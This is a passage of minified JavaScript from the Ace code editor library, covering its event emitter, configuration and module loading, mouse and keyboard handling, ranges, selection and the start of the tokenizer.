i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/lib/app_config\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"no use strict\";function o(e){typeof console!=\"undefined\"&&console.warn&&console.warn.apply(console,arguments)}function u(e,t){var n=new Error(e);n.data=t,typeof console==\"object\"&&console.error&&console.error(n),setTimeout(function(){throw n})}var r=e(\"./oop\"),i=e(\"./event_emitter\").EventEmitter,s={setOptions:function(e){Object.keys(e).forEach(function(t){this.setOption(t,e[t])},this)},getOptions:function(e){var t={};return e?Array.isArray(e)||(t=e,e=Object.keys(t)):e=Object.keys(this.$options),e.forEach(function(e){t[e]=this.getOption(e)},this),t},setOption:function(e,t){if(this[\"$\"+e]===t)return;var n=this.$options[e];if(!n)return o('misspelled option \"'+e+'\"');if(n.forwardTo)return this[n.forwardTo]&&this[n.forwardTo].setOption(e,t);n.handlesSet||(this[\"$\"+e]=t),n&&n.set&&n.set.call(this,t)},getOption:function(e){var t=this.$options[e];return t?t.forwardTo?this[t.forwardTo]&&this[t.forwardTo].getOption(e):t&&t.get?t.get.call(this):this[\"$\"+e]:o('misspelled option \"'+e+'\"')}},a=function(){this.$defaultOptions={}};(function(){r.implement(this,i),this.defineOptions=function(e,t,n){return e.$options||(this.$defaultOptions[t]=e.$options={}),Object.keys(n).forEach(function(t){var r=n[t];typeof r==\"string\"&&(r={forwardTo:r}),r.name||(r.name=t),e.$options[r.name]=r,\"initialValue\"in r&&(e[\"$\"+r.name]=r.initialValue)}),r.implement(e,s),this},this.resetOptions=function(e){Object.keys(e.$options).forEach(function(t){var n=e.$options[t];\"value\"in n&&e.setOption(t,n.value)})},this.setDefaultValue=function(e,t,n){var r=this.$defaultOptions[e]||(this.$defaultOptions[e]={});r[t]&&(r.forwardTo?this.setDefaultValue(r.forwardTo,t,n):r[t].value=n)},this.setDefaultValues=function(e,t){Object.keys(t).forEach(function(n){this.setDefaultValue(e,n,t[n])},this)},this.warn=o,this.reportError=u}).call(a.prototype),t.AppConfig=a}),ace.define(\"ace/config\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/lib/oop\",\"ace/lib/net\",\"ace/lib/app_config\"],function(e,t,n){\"no use strict\";function f(r){a.packaged=r||e.packaged||n.packaged||u.define&&define.packaged;if(!u.document)return\"\";var i={},s=\"\",o=document.currentScript||document._currentScript,f=o&&o.ownerDocument||document,c=f.getElementsByTagName(\"script\");for(var h=0;h<c.length;h++){var p=c[h],d=p.src||p.getAttribute(\"src\");if(!d)continue;var v=p.attributes;for(var m=0,g=v.length;m<g;m++){var y=v[m];y.name.indexOf(\"data-ace-\")===0&&(i[l(y.name.replace(/^data-ace-/,\"\"))]=y.value)}var b=d.match(/^(.*)\\/ace(\\-\\w+)?\\.js(\\?|$)/);b&&(s=b[1])}s&&(i.base=i.base||s,i.packaged=!0),i.basePath=i.base,i.workerPath=i.workerPath||i.base,i.modePath=i.modePath||i.base,i.themePath=i.themePath||i.base,delete i.base;for(var w in i)typeof i[w]!=\"undefined\"&&t.set(w,i[w])}function l(e){return e.replace(/-(.)/g,function(e,t){return t.toUpperCase()})}var r=e(\"./lib/lang\"),i=e(\"./lib/oop\"),s=e(\"./lib/net\"),o=e(\"./lib/app_config\").AppConfig;n.exports=t=new o;var u=function(){return this||typeof window!=\"undefined\"&&window}(),a={packaged:!1,workerPath:null,modePath:null,themePath:null,basePath:\"\",suffix:\".js\",$moduleUrls:{}};t.get=function(e){if(!a.hasOwnProperty(e))throw new Error(\"Unknown config key: \"+e);return a[e]},t.set=function(e,t){if(!a.hasOwnProperty(e))throw new Error(\"Unknown config key: \"+e);a[e]=t},t.all=function(){return r.copyObject(a)},t.moduleUrl=function(e,t){if(a.$moduleUrls[e])return a.$moduleUrls[e];var n=e.split(\"/\");t=t||n[n.length-2]||\"\";var r=t==\"snippets\"?\"/\":\"-\",i=n[n.length-1];if(t==\"worker\"&&r==\"-\"){var s=new RegExp(\"^\"+t+\"[\\\\-_]|[\\\\-_]\"+t+\"$\",\"g\");i=i.replace(s,\"\")}(!i||i==t)&&n.length>1&&(i=n[n.length-2]);var o=a[t+\"Path\"];return o==null?o=a.basePath:r==\"/\"&&(t=r=\"\"),o&&o.slice(-1)!=\"/\"&&(o+=\"/\"),o+t+r+i+this.get(\"suffix\")},t.setModuleUrl=function(e,t){return a.$moduleUrls[e]=t},t.$loading={},t.loadModule=function(n,r){var i,o;Array.isArray(n)&&(o=n[0],n=n[1]);try{i=e(n)}catch(u){}if(i&&!t.$loading[n])return r&&r(i);t.$loading[n]||(t.$loading[n]=[]),t.$loading[n].push(r);if(t.$loading[n].length>1)return;var a=function(){e([n],function(e){t._emit(\"load.module\",{name:n,module:e});var r=t.$loading[n];t.$loading[n]=null,r.forEach(function(t){t&&t(e)})})};if(!t.get(\"packaged\"))return a();s.loadScript(t.moduleUrl(n,o),a)},t.init=f}),ace.define(\"ace/mouse/mouse_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\",\"ace/mouse/default_handlers\",\"ace/mouse/default_gutter_handler\",\"ace/mouse/mouse_event\",\"ace/mouse/dragdrop_handler\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=e(\"./default_handlers\").DefaultHandlers,o=e(\"./default_gutter_handler\").GutterHandler,u=e(\"./mouse_event\").MouseEvent,a=e(\"./dragdrop_handler\").DragdropHandler,f=e(\"../config\"),l=function(e){var t=this;this.editor=e,new s(this),new o(this),new a(this);var n=function(t){(!document.hasFocus||!document.hasFocus())&&window.focus(),e.focus()},u=e.renderer.getMouseEventTarget();r.addListener(u,\"click\",this.onMouseEvent.bind(this,\"click\")),r.addListener(u,\"mousemove\",this.onMouseMove.bind(this,\"mousemove\")),r.addMultiMouseDownListener(u,[400,300,250],this,\"onMouseEvent\"),e.renderer.scrollBarV&&(r.addMultiMouseDownListener(e.renderer.scrollBarV.inner,[400,300,250],this,\"onMouseEvent\"),r.addMultiMouseDownListener(e.renderer.scrollBarH.inner,[400,300,250],this,\"onMouseEvent\"),i.isIE&&(r.addListener(e.renderer.scrollBarV.element,\"mousedown\",n),r.addListener(e.renderer.scrollBarH.element,\"mousedown\",n))),r.addMouseWheelListener(e.container,this.onMouseWheel.bind(this,\"mousewheel\")),r.addTouchMoveListener(e.container,this.onTouchMove.bind(this,\"touchmove\"));var f=e.renderer.$gutter;r.addListener(f,\"mousedown\",this.onMouseEvent.bind(this,\"guttermousedown\")),r.addListener(f,\"click\",this.onMouseEvent.bind(this,\"gutterclick\")),r.addListener(f,\"dblclick\",this.onMouseEvent.bind(this,\"gutterdblclick\")),r.addListener(f,\"mousemove\",this.onMouseEvent.bind(this,\"guttermousemove\")),r.addListener(u,\"mousedown\",n),r.addListener(f,\"mousedown\",function(t){return e.focus(),r.preventDefault(t)}),e.on(\"mousemove\",function(n){if(t.state||t.$dragDelay||!t.$dragEnabled)return;var r=e.renderer.screenToTextCoordinates(n.x,n.y),i=e.session.selection.getRange(),s=e.renderer;!i.isEmpty()&&i.insideStart(r.row,r.column)?s.setCursorStyle(\"default\"):s.setCursorStyle(\"\")})};(function(){this.onMouseEvent=function(e,t){this.editor._emit(e,new u(t,this.editor))},this.onMouseMove=function(e,t){var n=this.editor._eventRegistry&&this.editor._eventRegistry.mousemove;if(!n||!n.length)return;this.editor._emit(e,new u(t,this.editor))},this.onMouseWheel=function(e,t){var n=new u(t,this.editor);n.speed=this.$scrollSpeed*2,n.wheelX=t.wheelX,n.wheelY=t.wheelY,this.editor._emit(e,n)},this.onTouchMove=function(e,t){var n=new u(t,this.editor);n.speed=1,n.wheelX=t.wheelX,n.wheelY=t.wheelY,this.editor._emit(e,n)},this.setState=function(e){this.state=e},this.captureMouse=function(e,t){this.x=e.x,this.y=e.y,this.isMousePressed=!0;var n=this.editor.renderer;n.$keepTextAreaAtCursor&&(n.$keepTextAreaAtCursor=null);var s=this,o=function(e){if(!e)return;if(i.isWebKit&&!e.which&&s.releaseMouse)return s.releaseMouse();s.x=e.clientX,s.y=e.clientY,t&&t(e),s.mouseEvent=new u(e,s.editor),s.$mouseMoved=!0},a=function(e){clearInterval(l),f(),s[s.state+\"End\"]&&s[s.state+\"End\"](e),s.state=\"\",n.$keepTextAreaAtCursor==null&&(n.$keepTextAreaAtCursor=!0,n.$moveTextAreaToCursor()),s.isMousePressed=!1,s.$onCaptureMouseMove=s.releaseMouse=null,e&&s.onMouseEvent(\"mouseup\",e)},f=function(){s[s.state]&&s[s.state](),s.$mouseMoved=!1};if(i.isOldIE&&e.domEvent.type==\"dblclick\")return setTimeout(function(){a(e)});s.$onCaptureMouseMove=o,s.releaseMouse=r.capture(this.editor.container,o,a);var l=setInterval(f,20)},this.releaseMouse=null,this.cancelContextMenu=function(){var e=function(t){if(t&&t.domEvent&&t.domEvent.type!=\"contextmenu\")return;this.editor.off(\"nativecontextmenu\",e),t&&t.domEvent&&r.stopEvent(t.domEvent)}.bind(this);setTimeout(e,10),this.editor.on(\"nativecontextmenu\",e)}}).call(l.prototype),f.defineOptions(l.prototype,\"mouseHandler\",{scrollSpeed:{initialValue:2},dragDelay:{initialValue:i.isMac?150:0},dragEnabled:{initialValue:!0},focusTimout:{initialValue:0},tooltipFollowsMouse:{initialValue:!0}}),t.MouseHandler=l}),ace.define(\"ace/mouse/fold_handler\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e){e.on(\"click\",function(t){var n=t.getDocumentPosition(),r=e.session,i=r.getFoldAt(n.row,n.column,1);i&&(t.getAccelKey()?r.removeFold(i):r.expandFold(i),t.stop())}),e.on(\"gutterclick\",function(t){var n=e.renderer.$gutterLayer.getRegion(t);if(n==\"foldWidgets\"){var r=t.getDocumentPosition().row,i=e.session;i.foldWidgets&&i.foldWidgets[r]&&e.session.onFoldWidgetClick(r,t),e.isFocused()||e.focus(),t.stop()}}),e.on(\"gutterdblclick\",function(t){var n=e.renderer.$gutterLayer.getRegion(t);if(n==\"foldWidgets\"){var r=t.getDocumentPosition().row,i=e.session,s=i.getParentFoldRangeData(r,!0),o=s.range||s.firstRange;if(o){r=o.start.row;var u=i.getFoldAt(r,i.getLine(r).length,1);u?i.removeFold(u):(i.addFold(\"...\",o),e.renderer.scrollCursorIntoView({row:o.start.row,column:0}))}t.stop()}})}t.FoldHandler=r}),ace.define(\"ace/keyboard/keybinding\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\",\"ace/lib/event\"],function(e,t,n){\"use strict\";var r=e(\"../lib/keys\"),i=e(\"../lib/event\"),s=function(e){this.$editor=e,this.$data={editor:e},this.$handlers=[],this.setDefaultHandler(e.commands)};(function(){this.setDefaultHandler=function(e){this.removeKeyboardHandler(this.$defaultHandler),this.$defaultHandler=e,this.addKeyboardHandler(e,0)},this.setKeyboardHandler=function(e){var t=this.$handlers;if(t[t.length-1]==e)return;while(t[t.length-1]&&t[t.length-1]!=this.$defaultHandler)this.removeKeyboardHandler(t[t.length-1]);this.addKeyboardHandler(e,1)},this.addKeyboardHandler=function(e,t){if(!e)return;typeof e==\"function\"&&!e.handleKeyboard&&(e.handleKeyboard=e);var n=this.$handlers.indexOf(e);n!=-1&&this.$handlers.splice(n,1),t==undefined?this.$handlers.push(e):this.$handlers.splice(t,0,e),n==-1&&e.attach&&e.attach(this.$editor)},this.removeKeyboardHandler=function(e){var t=this.$handlers.indexOf(e);return t==-1?!1:(this.$handlers.splice(t,1),e.detach&&e.detach(this.$editor),!0)},this.getKeyboardHandler=function(){return this.$handlers[this.$handlers.length-1]},this.getStatusText=function(){var e=this.$data,t=e.editor;return this.$handlers.map(function(n){return n.getStatusText&&n.getStatusText(t,e)||\"\"}).filter(Boolean).join(\" \")},this.$callKeyboardHandlers=function(e,t,n,r){var s,o=!1,u=this.$editor.commands;for(var a=this.$handlers.length;a--;){s=this.$handlers[a].handleKeyboard(this.$data,e,t,n,r);if(!s||!s.command)continue;s.command==\"null\"?o=!0:o=u.exec(s.command,this.$editor,s.args,r),o&&r&&e!=-1&&s.passEvent!=1&&s.command.passEvent!=1&&i.stopEvent(r);if(o)break}return o},this.onCommandKey=function(e,t,n){var i=r.keyCodeToString(n);this.$callKeyboardHandlers(t,i,n,e)},this.onTextInput=function(e){var t=this.$callKeyboardHandlers(-1,e);t||this.$editor.commands.exec(\"insertstring\",this.$editor,e)}}).call(s.prototype),t.KeyBinding=s}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/selection\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/lib/event_emitter\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/lang\"),s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=function(e){this.session=e,this.doc=e.getDocument(),this.clearSelection(),this.lead=this.selectionLead=this.doc.createAnchor(0,0),this.anchor=this.selectionAnchor=this.doc.createAnchor(0,0);var t=this;this.lead.on(\"change\",function(e){t._emit(\"changeCursor\"),t.$isEmpty||t._emit(\"changeSelection\"),!t.$keepDesiredColumnOnChange&&e.old.column!=e.value.column&&(t.$desiredColumn=null)}),this.selectionAnchor.on(\"change\",function(){t.$isEmpty||t._emit(\"changeSelection\")})};(function(){r.implement(this,s),this.isEmpty=function(){return this.$isEmpty||this.anchor.row==this.lead.row&&this.anchor.column==this.lead.column},this.isMultiLine=function(){return this.isEmpty()?!1:this.getRange().isMultiLine()},this.getCursor=function(){return this.lead.getPosition()},this.setSelectionAnchor=function(e,t){this.anchor.setPosition(e,t),this.$isEmpty&&(this.$isEmpty=!1,this._emit(\"changeSelection\"))},this.getSelectionAnchor=function(){return this.$isEmpty?this.getSelectionLead():this.anchor.getPosition()},this.getSelectionLead=function(){return this.lead.getPosition()},this.shiftSelection=function(e){if(this.$isEmpty){this.moveCursorTo(this.lead.row,this.lead.column+e);return}var t=this.getSelectionAnchor(),n=this.getSelectionLead(),r=this.isBackwards();(!r||t.column!==0)&&this.setSelectionAnchor(t.row,t.column+e),(r||n.column!==0)&&this.$moveSelection(function(){this.moveCursorTo(n.row,n.column+e)})},this.isBackwards=function(){var e=this.anchor,t=this.lead;return e.row>t.row||e.row==t.row&&e.column>t.column},this.getRange=function(){var e=this.anchor,t=this.lead;return this.isEmpty()?o.fromPoints(t,t):this.isBackwards()?o.fromPoints(t,e):o.fromPoints(e,t)},this.clearSelection=function(){this.$isEmpty||(this.$isEmpty=!0,this._emit(\"changeSelection\"))},this.selectAll=function(){var e=this.doc.getLength()-1;this.setSelectionAnchor(0,0),this.moveCursorTo(e,this.doc.getLine(e).length)},this.setRange=this.setSelectionRange=function(e,t){t?(this.setSelectionAnchor(e.end.row,e.end.column),this.selectTo(e.start.row,e.start.column)):(this.setSelectionAnchor(e.start.row,e.start.column),this.selectTo(e.end.row,e.end.column)),this.getRange().isEmpty()&&(this.$isEmpty=!0),this.$desiredColumn=null},this.$moveSelection=function(e){var t=this.lead;this.$isEmpty&&this.setSelectionAnchor(t.row,t.column),e.call(this)},this.selectTo=function(e,t){this.$moveSelection(function(){this.moveCursorTo(e,t)})},this.selectToPosition=function(e){this.$moveSelection(function(){this.moveCursorToPosition(e)})},this.moveTo=function(e,t){this.clearSelection(),this.moveCursorTo(e,t)},this.moveToPosition=function(e){this.clearSelection(),this.moveCursorToPosition(e)},this.selectUp=function(){this.$moveSelection(this.moveCursorUp)},this.selectDown=function(){this.$moveSelection(this.moveCursorDown)},this.selectRight=function(){this.$moveSelection(this.moveCursorRight)},this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)},this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)},this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)},this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)},this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)},this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)},this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)},this.getWordRange=function(e,t){if(typeof t==\"undefined\"){var n=e||this.lead;e=n.row,t=n.column}return this.session.getWordRange(e,t)},this.selectWord=function(){this.setSelectionRange(this.getWordRange())},this.selectAWord=function(){var e=this.getCursor(),t=this.session.getAWordRange(e.row,e.column);this.setSelectionRange(t)},this.getLineRange=function(e,t){var n=typeof e==\"number\"?e:this.lead.row,r,i=this.session.getFoldLine(n);return i?(n=i.start.row,r=i.end.row):r=n,t===!0?new o(n,0,r,this.session.getLine(r).length):new o(n,0,r+1,0)},this.selectLine=function(){this.setSelectionRange(this.getLineRange())},this.moveCursorUp=function(){this.moveCursorBy(-1,0)},this.moveCursorDown=function(){this.moveCursorBy(1,0)},this.moveCursorLeft=function(){var e=this.lead.getPosition(),t;if(t=this.session.getFoldAt(e.row,e.column,-1))this.moveCursorTo(t.start.row,t.start.column);else if(e.column===0)e.row>0&&this.moveCursorTo(e.row-1,this.doc.getLine(e.row-1).length);else{var n=this.session.getTabSize();this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(e.column-n,e.column).split(\" \").length-1==n?this.moveCursorBy(0,-n):this.moveCursorBy(0,-1)}},this.moveCursorRight=function(){var e=this.lead.getPosition(),t;if(t=this.session.getFoldAt(e.row,e.column,1))this.moveCursorTo(t.end.row,t.end.column);else if(this.lead.column==this.doc.getLine(this.lead.row).length)this.lead.row<this.doc.getLength()-1&&this.moveCursorTo(this.lead.row+1,0);else{var n=this.session.getTabSize(),e=this.lead;this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(e.column,e.column+n).split(\" \").length-1==n?this.moveCursorBy(0,n):this.moveCursorBy(0,1)}},this.moveCursorLineStart=function(){var e=this.lead.row,t=this.lead.column,n=this.session.documentToScreenRow(e,t),r=this.session.screenToDocumentPosition(n,0),i=this.session.getDisplayLine(e,null,r.row,r.column),s=i.match(/^\\s*/);s[0].length!=t&&!this.session.$useEmacsStyleLineStart&&(r.column+=s[0].length),this.moveCursorToPosition(r)},this.moveCursorLineEnd=function(){var e=this.lead,t=this.session.getDocumentLastRowColumnPosition(e.row,e.column);if(this.lead.column==t.column){var n=this.session.getLine(t.row);if(t.column==n.length){var r=n.search(/\\s+$/);r>0&&(t.column=r)}}this.moveCursorTo(t.row,t.column)},this.moveCursorFileEnd=function(){var e=this.doc.getLength()-1,t=this.doc.getLine(e).length;this.moveCursorTo(e,t)},this.moveCursorFileStart=function(){this.moveCursorTo(0,0)},this.moveCursorLongWordRight=function(){var e=this.lead.row,t=this.lead.column,n=this.doc.getLine(e),r=n.substring(t),i;this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;var s=this.session.getFoldAt(e,t,1);if(s){this.moveCursorTo(s.end.row,s.end.column);return}if(i=this.session.nonTokenRe.exec(r))t+=this.session.nonTokenRe.lastIndex,this.session.nonTokenRe.lastIndex=0,r=n.substring(t);if(t>=n.length){this.moveCursorTo(e,n.length),this.moveCursorRight(),e<this.doc.getLength()-1&&this.moveCursorWordRight();return}if(i=this.session.tokenRe.exec(r))t+=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0;this.moveCursorTo(e,t)},this.moveCursorLongWordLeft=function(){var e=this.lead.row,t=this.lead.column,n;if(n=this.session.getFoldAt(e,t,-1)){this.moveCursorTo(n.start.row,n.start.column);return}var r=this.session.getFoldStringAt(e,t,-1);r==null&&(r=this.doc.getLine(e).substring(0,t));var s=i.stringReverse(r),o;this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;if(o=this.session.nonTokenRe.exec(s))t-=this.session.nonTokenRe.lastIndex,s=s.slice(this.session.nonTokenRe.lastIndex),this.session.nonTokenRe.lastIndex=0;if(t<=0){this.moveCursorTo(e,0),this.moveCursorLeft(),e>0&&this.moveCursorWordLeft();return}if(o=this.session.tokenRe.exec(s))t-=this.session.tokenRe.lastIndex,this.session.tokenRe.lastIndex=0;this.moveCursorTo(e,t)},this.$shortWordEndIndex=function(e){var t,n=0,r,i=/\\s/,s=this.session.tokenRe;s.lastIndex=0;if(t=this.session.tokenRe.exec(e))n=this.session.tokenRe.lastIndex;else{while((r=e[n])&&i.test(r))n++;if(n<1){s.lastIndex=0;while((r=e[n])&&!s.test(r)){s.lastIndex=0,n++;if(i.test(r)){if(n>2){n--;break}while((r=e[n])&&i.test(r))n++;if(n>2)break}}}}return s.lastIndex=0,n},this.moveCursorShortWordRight=function(){var e=this.lead.row,t=this.lead.column,n=this.doc.getLine(e),r=n.substring(t),i=this.session.getFoldAt(e,t,1);if(i)return this.moveCursorTo(i.end.row,i.end.column);if(t==n.length){var s=this.doc.getLength();do e++,r=this.doc.getLine(e);while(e<s&&/^\\s*$/.test(r));/^\\s+/.test(r)||(r=\"\"),t=0}var o=this.$shortWordEndIndex(r);this.moveCursorTo(e,t+o)},this.moveCursorShortWordLeft=function(){var e=this.lead.row,t=this.lead.column,n;if(n=this.session.getFoldAt(e,t,-1))return this.moveCursorTo(n.start.row,n.start.column);var r=this.session.getLine(e).substring(0,t);if(t===0){do e--,r=this.doc.getLine(e);while(e>0&&/^\\s*$/.test(r));t=r.length,/\\s+$/.test(r)||(r=\"\")}var s=i.stringReverse(r),o=this.$shortWordEndIndex(s);return this.moveCursorTo(e,t-o)},this.moveCursorWordRight=function(){this.session.$selectLongWords?this.moveCursorLongWordRight():this.moveCursorShortWordRight()},this.moveCursorWordLeft=function(){this.session.$selectLongWords?this.moveCursorLongWordLeft():this.moveCursorShortWordLeft()},this.moveCursorBy=function(e,t){var n=this.session.documentToScreenPosition(this.lead.row,this.lead.column);t===0&&(this.$desiredColumn?n.column=this.$desiredColumn:this.$desiredColumn=n.column);var r=this.session.screenToDocumentPosition(n.row+e,n.column);e!==0&&t===0&&r.row===this.lead.row&&r.column===this.lead.column&&this.session.lineWidgets&&this.session.lineWidgets[r.row]&&r.row++,this.moveCursorTo(r.row,r.column+t,t===0)},this.moveCursorToPosition=function(e){this.moveCursorTo(e.row,e.column)},this.moveCursorTo=function(e,t,n){var r=this.session.getFoldAt(e,t,1);r&&(e=r.start.row,t=r.start.column),this.$keepDesiredColumnOnChange=!0,this.lead.setPosition(e,t),this.$keepDesiredColumnOnChange=!1,n||(this.$desiredColumn=null)},this.moveCursorToScreen=function(e,t,n){var r=this.session.screenToDocumentPosition(e,t);this.moveCursorTo(r.row,r.column,n)},this.detach=function(){this.lead.detach(),this.anchor.detach(),this.session=this.doc=null},this.fromOrientedRange=function(e){this.setSelectionRange(e,e.cursor==e.start),this.$desiredColumn=e.desiredColumn||this.$desiredColumn},this.toOrientedRange=function(e){var t=this.getRange();return e?(e.start.column=t.start.column,e.start.row=t.start.row,e.end.column=t.end.column,e.end.row=t.end.row):e=t,e.cursor=this.isBackwards()?e.start:e.end,e.desiredColumn=this.$desiredColumn,e},this.getRangeOfMovements=function(e){var t=this.getCursor();try{e.call(null,this);var n=this.getCursor();return o.fromPoints(t,n)}catch(r){return o.fromPoints(t,t)}finally{this.moveCursorToPosition(t)}},this.toJSON=function(){if(this.rangeCount)var e=this.ranges.map(function(e){var t=e.clone();return t.isBackwards=e.cursor==e.start,t});else{var e=this.getRange();e.isBackwards=this.isBackwards()}return e},this.fromJSON=function(e){if(e.start==undefined){if(this.rangeList){this.toSingleRange(e[0]);for(var t=e.length;t--;){var n=o.fromPoints(e[t].start,e[t].end);e[t].isBackwards&&(n.cursor=n.start),this.addRange(n,!0)}return}e=e[0]}this.rangeList&&this.toSingleRange(e),this.setSelectionRange(e,e.isBackwards)},this.isEqual=function(e){if((e.length||this.rangeCount)&&e.length!=this.rangeCount)return!1;if(!e.length||!this.ranges)return this.getRange().isEqual(e);for(var t=this.ranges.length;t--;)if(!this.ranges[t].isEqual(e[t]))return!1;return!0}}).call(u.prototype),t.Selection=u}),ace.define(\"ace/tokenizer\",[\"require\",\"exports\",\"module\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"./config\"),i=2e3,s=function(e){this.states=e,this.regExps={},this.matchMappings={};for(var t in this.states){var n=this.states[t],r=[],i=0,s=this.matchMappings[t]={defaultToken:\"text\"},o=\"g\",u=[];for(var a=0;a<n.length;a++){var f=n[a];f.defaultToken&&(s.defaultToken=f.defaultToken),f.caseInsensitive&&(o=\"gi\");if(f.regex==null)continue;f.regex instanceof RegExp&&(f.regex=f.regex.toString().slice(1,-1));var l=f.regex,c=(new RegExp(\"(?:(\"+l+\")|(.))\")).exec(\"a\").length-2;Array.isArray(f.token)?f.token.length==1||c==1?f.token=f.token[0]:c-1!=f.token.length?(this.reportError(\"number of classes and regexp groups doesn't match\",{rule:f,groupCount:c-1}),f.token=f.token[0]):(f.tokenArray=f.token,f.token=null,f.onMatch=this.$arrayTokens):typeof f.token==\"function\"&&!f.onMatch&&(c>1?f.onMatch=this.$applyToken:f.onMatch=f.token),c>1&&(/\\\\\\d/.test(f.regex)?l=f.regex.replace(/\\\\([0-9]+)/g,function(e,t){return\"\\\\\"+(parseInt(t,10)+i+1)}):(c=1,l=this.removeCapturingGroups(f.regex)),!f.splitRegex&&typeof f.token!=\"string\"&&u.push(f)),s[i]=a,i+=c,r.push(l),f.onMatch||(f.onMatch=null)}r.length||(s[0]=0,r.push(\"$\")),u.forEach(function(e){e.splitRegex=this.createSplitterRegexp(e.regex,o)},this),this.regExps[t]=new RegExp(\"(\"+r.join(\")|(\")+\")|($)\",o)}};(function(){this.$setMaxTokenCount=function(e){i=e|0},this.$applyToken=function(e){var t=this.splitRegex.exec(e).slice(1),n=this.token.apply(this,t);if(typeof n==\"string\")return[{type:n,value:e}];var r=[];for(var i=0,s=n.length;i<s;i++)t[i]&&(r[r.length]={type:n[i],value:t[i]});return r},this.$arrayTokens=function(e){if(!e)return[];var 